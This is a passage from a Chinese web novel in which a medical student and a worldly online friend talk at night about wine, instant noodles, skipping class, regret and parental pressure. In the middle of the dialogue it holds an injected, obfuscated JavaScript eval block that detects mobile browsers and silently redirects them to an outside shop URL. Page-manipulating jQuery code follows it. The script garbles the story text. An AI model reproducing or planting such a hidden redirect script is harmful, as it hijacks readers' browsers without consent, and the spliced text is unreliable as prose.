“月影:看挂杯。酒泪很慢,说明酒体饱满。香气……黑醋栗,雪松,一点点皮革和烟草。82年的拉菲就是这样——年轻时候张扬,现在沉稳了,但骨子里还是骄傲的。” “溪流:你能喝出这么多味道?” “月影:能,也能装。品酒一半靠舌头,一半靠演技。就像人生,一半靠实力,一半靠吹牛。” “溪流:那我该学品酒吗?” “月影:先学会品泡面吧。告诉我,你的红烧牛肉面有什么‘风味层次’?” 薛耀溪认真地看着泡面桶。他平时都是三分钟速战速决,从没“品鉴”过。 他打字:“第一层:开盖瞬间的化学香气,像某种工业革命的余韵。第二层:入口时的咸,但不是海盐的咸,是实验室里合成的咸。第三层:咽下去之后的味精回味,在舌根逗留,提醒你刚才吃了不健康的东西。” “月影:精彩。你漏了第四层:吃完后的空虚感,和第五层:对明天还要吃它的恐惧。” “溪流:你怎么知道?” “月影:因为我曾经连续吃了两周泡面,为了买一张去冰岛的机票。后来到了冰岛,发现那里一碗意面要30欧元——我后悔了,应该多吃两周泡面。” 薛耀溪大笑,差点把泡面汤洒在键盘上。 “溪流:你为什么要去冰岛?” “月影:因为听说那里能看到极光。我去了,等了五天,最后一天极光出现了——很淡,像上帝忘了擦掉的粉笔印。我站在零下十度的风里,想:我花了这么多钱,吃了那么多泡面,就为了看这个?” “溪流:然后呢?” “月影:然后我哭了。不是因为失望,是因为我突然明白,追求的过程比结果更真实。泡面的味道,攒钱的焦虑,熬夜查攻略的兴奋——这些都比那片模糊的绿光更让我记得。” 薛耀溪停下打字。他看着这段话,感觉胸口被什么东西轻轻撞了一下。 他想起自己为什么学医——不是因为热爱,是因为父亲说“这是最好的选择”。他想起自己为什么弹吉他——偷偷的,在床垫下藏着的,三个和弦反复弹,不是因为想成为音乐家,是因为那三个和弦发出声音时,他感觉自己是活着的。 “溪流:我有时候觉得,我的人生就是一碗泡面。看起来很充实,实际上都是调味粉撑起来的。” “月影:那就换种口味。或者,自己煮面。” “溪流:我不会。” “月影:学。就像我学品酒,学看极光,学在无聊的宴会上假装开心。没有人天生就会生活,我们都是后天练习的骗子。” 薛耀溪看着“骗子”这个词。月影总用这种词形容自己,带着自嘲和坦然。 他突然问:“月影,你是做什么的?真的。” 对话框显示“对方正在输入…”,持续了很长时间。然后: “月影:我是个专业的观察者。看人,看事,看世界如何运转。有时候我会写点东西,有时候我会投资点项目,有时候我什么都不做,只是看。这工作没有头衔,没有固定收入,但让我看到很多真相——和很多谎言。” “溪流:听起来很自由。” “月影:自由是相对的。我能飞去任何地方,但总要回到某个地方。我能喝82年的拉菲,但也会怀念3块钱的泡面。人生就是这样,小狼狗——你得到一些,就怀念另一些。” 薛耀溪喝掉最后一口汤——已经凉了,油凝结在表面,像一层黄色的薄膜。 他打字:“如果我告诉你,我今天逃课了,你会觉得我堕落了吗?” 下午两点,薛耀溪走出圣保罗院区,拐进了后门的小巷。 那里有一家24小时便利店,他走进去,在货架前徘徊了十五分钟。最后买了:一桶泡面(就是现在吃的这桶),一包薯片,一瓶可乐,和一本漫画杂志。 收银员是个五十多岁的阿姨,看了他一眼:“考试完放假了?睡懒觉?” 薛耀溪愣住。 “我在这工作十年了,”阿姨一边扫码一边说,“这个时间点来买零食的学生,十个有九个是睡懒觉的。很多还是老师。” 薛耀溪尴尬地笑。 “没事,年轻人,”阿姨把袋子递给他,“睡懒觉死不了人。我儿子以前也喜欢睡懒觉,现在是个程序员,赚得比我多。所以谁知道呢?”薛耀溪拎着袋子回到院区,没有回宿舍,而是去了学校后面的小公园。他在长椅上坐下,打开薯片,翻开漫画,听着风吹树叶的声音。 很简单的事。但对他来说,像一次革命。 没有父亲的安排,没有教授的监督,没有“该做什么”的清单。只有他,薯片,和一本幼稚的漫画。 他看了三页,突然哭了。没有原因,就是眼泪自己流下来。 然后他擦干眼泪,继续吃薯片。像个神经病。 现在,他把这件事告诉了月影。 “月影:逃课去便利店?哦宝贝儿,这连‘堕落’的门槛都够不着。真正的堕落至少得涉及非法药物、巨额赌债或者至少三个人的感情纠纷。” “溪流:……你经验很丰富?” “月影:观察经验。我认识一个人,他所谓的‘叛逆’是把父亲的法拉利开去飙车,结果撞了,赔了五十万,然后乖乖回家继承家业。你那点薯片算什么?” 薛耀溪笑了,但心里有点失落。原来自己的“叛逆”这么廉价。 “月影:但你知道吗?我最佩服的‘叛逆’,恰恰是这种小事。因为大事容易——轰轰烈烈,有观众,有戏剧性。但小事的叛逆需要每天坚持,没人鼓掌,只有你自己知道。比如每天少吃一块巧克力,每天多说一句‘不’,每天……允许自己哭一次。” 薛耀溪盯着这段话。屏幕的光映在他眼睛里。 “溪流:我今天哭了。在公园长椅上。” “月影:为什么?” “溪流:不知道。就是突然觉得……累。装得很累。” “月影:那就别装了。至少在我面前。” 薛耀溪靠在椅子上,宿舍的灯光昏暗,泡面碗已经空了,房间里只有键盘敲击声和他自己的呼吸声。 他打字:“月影,我能问你一个问题吗?真实的。” “月影:问。但我不保证真实回答。” “溪流:你快乐吗?” 这次,“对方正在输入…”显示了整整一分钟。长到薛耀溪以为她不会回答了。 然后: “月影:有时候。当我喝到好酒的时候,当我看到美丽风景的时候,当我遇到有趣的人的时候——比如你。但大多数时候,我只是……清醒地活着。快乐是甜点,不是主食。” “溪流:那主食是什么?” “月影:责任。谎言。还有……记忆。” 薛耀溪不太懂,但他感觉到这话里的重量。像她手中的红酒,看起来很轻,实际上装满了时间的沉淀。 “溪流:我希望你快乐。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962997|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月影:(发送一个摸头的表情)小狼狗,你太甜了。但谢谢。现在轮到我问你:你希望自己成为什么样的人?” 薛耀溪看着这个问题,手指悬在键盘上。 他希望成为什么样的人? 不是父亲期望的医生。不是社会定义的精英。也许……就是一个可以自由选择今晚吃泡面还是吃大餐的人。一个可以说“不”而不用道歉的人。一个可以哭而不用觉得羞耻的人。 他打字:“我想成为……不后悔的人。” “月影:那是最高难度的人生模式。因为后悔不是做错事,而是‘如果当初’。” “溪流:那怎么办?” “月影:在做选择的时候,就假设自己会后悔。然后问:即使后悔,我还会这么做吗?如果答案是‘会’,那就做。至少后悔的时候,你能说‘我活该’。” 薛耀溪笑了。这逻辑很扭曲,但很有说服力。 “溪流:那你后悔过吗?” “月影:每天都在后悔。后悔没多喝一杯,后悔说了某句话,后悔没吻某个人。但我也庆幸——庆幸没喝醉到失态,庆幸有些话没说出口,庆幸没吻错人。后悔和庆幸是一对双胞胎,你永远分不清哪个先出生。” 深夜十一点,何念曦回来了,路过他房间, “今晚尹教官请客你没去?”室友看到他桌上的泡面桶,“他点名了,我说你有你的私人活动——他看了我一眼,没说话。” “谢谢。”薛耀溪真诚地说。 “没事,”室友脱掉外套,“不过你下次缺席,至少去图书馆装装样子。他不傻,到底也是从学生过来的,他懂。但面子要给。”薛耀溪点头。这就是医学院的潜规则:教官请客你可以不去,但撒谎要有技术含量。 何念曦走后,薛耀溪戴上耳机,继续和月影聊天。 话题从人生哲学滑到了具体的生活。月影说她下周要去巴黎,“参加一个无聊的艺术展,但那里的奶酪值得专门飞去”。薛耀溪说他下周有英语强化培训班考试,“如果挂科,我爸可能会把我送到军事化管理的补习班——那地方据说连上厕所都要计时”。 “月影:那你就别挂科。” “溪流:说得容易。” “月影:不容易,但能做到。听着,小狼狗:反抗不是自毁前程。真正的反抗是——我按你们的规则赢,但用我的方式。你考好,然后告诉你爸‘我做到了,但我不快乐’。这比考砸了说‘我不适合’更有杀伤力。” “溪流:为什么?” “月影:因为考砸了,他们会说‘你不努力’。考好了但说不快乐,他们会不知所措——这是他们规则里的漏洞。” 薛耀溪思考着这句话。像在黑暗中看到一束光。 “月影:好了,我真的该睡了。明天要早起赶飞机。” “溪流:等等——下周的视频通话,还作数吗?” “月影:如果你准备好了你的秘密。” “溪流:我准备好了。但你的呢?” “月影:我的秘密是……我其实不爱喝红酒。太涩了。但我喜欢拿着酒杯的感觉——像个成年人该有的样子。有时候,样子比实质更重要。” “溪流:这也是谎言吗?” “月影:这是生存。晚安,宝贝儿。祝你的泡面明天换个口味。” 她下线了。 薛耀溪摘下耳机,宿舍里只有室友轻微的鼾声。他走到窗边,看向外面。圣保罗医院的灯光在夜色中像一艘巨大的船。而医学院这边,宿舍楼零星亮着几盏灯——是和他一样熬夜的人。两个世界,一排树之隔。月影在某个遥远的地方喝着拉菲,他在这里吃泡面。但刚才那几个小时,他们好像在同一个房间里对话。 这就是网络的魔力?还是孤独的错觉? 他不知道。 但他知道,下周的视频通话,他要告诉月影一个秘密。 也许不是最大的秘密,但是真的。比如他床垫下的吉他。比如他其实害怕尸体。比如他曾经偷偷把父亲的西装剪破了一个口子,然后又缝起来——针脚很丑,但父亲一直没发现。 他会说出来的。 因为月影说得对:真实的人性比任何小说都精彩。 即使真实有时候很狼狈,像洒在键盘上的泡面汤,干了之后黏糊糊的,擦不干净。 薛耀溪清理了泡面桶,刷牙洗脸,躺回床上。 闭上眼睛前,他想:明天要去便利店换个口味。也许试试海鲜味?虽然大概率也是“图片仅供参考”。 但至少,这是他的选择:一个男孩因为一碗泡面思考人生,一个女人因为一杯红酒讲述谎言。他们都活在各自的笼子里,但通过网络,他们隔着笼子的栏杆,碰了碰手指。 也许这就是现代人的亲密:不是真实的拥抱,是虚拟的理解。 不是红酒配牛排,是拉菲配红烧牛肉面。 荒诞,但真实。 就像人生。